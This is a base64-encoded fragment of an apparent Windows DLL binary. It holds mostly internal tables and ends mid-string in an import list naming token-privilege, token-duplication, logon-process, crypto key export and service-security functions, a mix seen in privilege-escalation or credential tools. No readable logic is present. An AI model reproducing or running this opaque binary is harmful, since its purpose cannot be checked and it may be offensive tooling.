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PLJAwANygMAKMoDAEPKAwBeygMAecoDAJTKAwCvygMAysoDAOXKAwAAywMAG8sDADbLAwBRywMAbMsDAIfLAwCiywMAvcsDANjLAwDzywMADswDACnMAwBEzAMAX8wDAHrMAwCVzAMAsMwDAMvMAwDmzAMAAc0DABzNAwA3zQMAUs0DAG3NAwCIzQMAo80DAL7NAwDZzQMA9M0DAA/OAwAqzgMARc4DAGDOAwB7zgMAls4DALHOAwDMzgMA584DAALPAwAdzwMAOM8DAFPPAwBuzwMAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////LMcDECIFkxkBAAAAKLsEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9PxwMQAAAAAFfHAxAiBZMZAgAAAFS7BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA7AAFEAAAAAD/////AAAAAAwAAACHLwIQAAAAAP0WABAAAAAAtLsEEAMAAADEuwQQiLsEEDDEBBAAAAAADAEFEAAAAAD/////AAAAAAwAAADULwIQAAAAAP0WABAAAAAA8LsEEAMAAAAAvAQQiLsEEDDEBBAAAAAALAEFEAAAAAD/////AAAAAAwAAAAhMAIQ/////33HAxAiBZMZAQAAABy8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////oscDECIFkxkBAAAASLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////FxwMQIgWTGQEAAAB0vAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA//////LHAxAiBZMZAQAAAKC8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////H8gDECIFkxkBAAAAzLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP7///8AAAAA1P///wAAAAD+////AAAAAKtTAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAApFcCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC6WQIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAMBaAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAoFsCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADKZQIQ/v///wAAAADWZQIQ/v///wAAAADM////AAAAAP7///8AAAAA7XICEAAAAAAAAAAAqnICEAAAAAAAAAAAvHICEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC8dAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAANd3AhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAy3gCEAAAAAD+////AAAAANT///8AAAAA/v///yt6AhA8egIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAHGKAhAAAAAAM4oCED2KAhD+////AAAAANj///8AAAAA/v///xmLAhAiiwIQQAAAAAAAAAAAAAAAEYwCEP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAvL4EECIFkxkCAAAAzL4EEAEAAADcvgQQAAAAAAAAAAAAAAAAAQAAAAAAAAD+////AAAAALT///8AAAAA/v///wAAAABJjQIQAAAAALmMAhDCjAIQ/v///wAAAADU////AAAAAP7///8wjwIQNI8CEAAAAAD+////AAAAANj///8AAAAA/v///8mPAhDNjwIQAAAAANWIAhAAAAAAjL8EEAIAAACYvwQQMMQEEAAAAACwBgUQAAAAAP////8AAAAADAAAAMCUAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAANqQCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAtpgIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFaoAhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA4akCEAAAAAAAAAAArakCEP7///8AAAAA1P///wAAAAD+////AAAAADOqAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAMqsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB+rAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHGtAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA6K4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACXuQIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMK6AhD+////AAAAANG6AhD+////AAAAANj///8AAAAA/v///wAAAACEvAIQ/v///wAAAACQvAIQ/v///wAAAADU////AAAAAP7///8AAAAA7L4CEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACfwwIQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAGDJAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAitMCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABr1wIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAMvYAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAwtsCEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACU3wIQAAAAAP7///8AAAAA2P///wAAAAD+////1ukCEPLpAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAbOsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADm7AIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACPvAhAAAAAA/v///wAAAADI////AAAAAP7///8AAAAA6PACEAAAAAAAAAAAJPACEP7///8AAAAA0P///wAAAAD+////AAAAAIYrAxAAAAAA/v///wAAAADY////AAAAAP7///80WgMQOFoDEAAAAAD+////AAAAANj///8AAAAA/v///4RaAxCIWgMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAN5wAxAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAlnQDEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAAFdgMQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAANJ3AxAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAxYwDEAAAAAD+////AAAAANj///8AAAAA/v///3uOAxCOjgMQAAAAAKQYBRAAAAAA/////wAAAAAMAAAAOxEAEAAAAADEGAUQAAAAAP////8AAAAADAAAAOtMAhACAAAAFMQEEDDEBBAAAAAA/RYAEAAAAABMxAQQAAAAAOAYBRAAAAAA/////wAAAAAUAAAAAhcAEAAAAAAEGQUQAAAAAP////8AAAAAFAAAAB0XABAEAAAAaMQEEITEBBAUxAQQMMQEEAAAAAD9FgAQAAAAAKDEBBAAAAAAJBkFE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AAAAAD05wQAMOgEAA7oBADi5wQAHugEAAAAAAARAEdldE1vZHVsZUluZm9ybWF0aW9uAABQU0FQSS5ETEwAsQBDcnlwdEFjcXVpcmVDb250ZXh0VwAAywBDcnlwdFJlbGVhc2VDb250ZXh0AMoAQ3J5cHRJbXBvcnRLZXkAALcAQ3J5cHREZXN0cm95S2V5ALQAQ3J5cHREZWNyeXB0AAC/AENyeXB0RXhwb3J0S2V5AAC+AENyeXB0RW51bVByb3ZpZGVyc1cAxgBDcnlwdEdldFByb3ZQYXJhbQDEAENyeXB0R2V0SGFzaFBhcmFtALMAQ3J5cHRDcmVhdGVIYXNoALYAQ3J5cHREZXN0cm95SGFzaAAAyABDcnlwdEhhc2hEYXRhAJUBTG9va3VwUHJpdmlsZWdlTmFtZVcAAPcBT3BlblByb2Nlc3NUb2tlbgAAWgFHZXRUb2tlbkluZm9ybWF0aW9uAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAH0AQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AACRAUxvb2t1cEFjY291bnRTaWRXAN8ARHVwbGljYXRlVG9rZW5FeAAArQJTZXRLZXJuZWxPYmplY3RTZWN1cml0eQAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAIAFGcmVlU2lkAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkV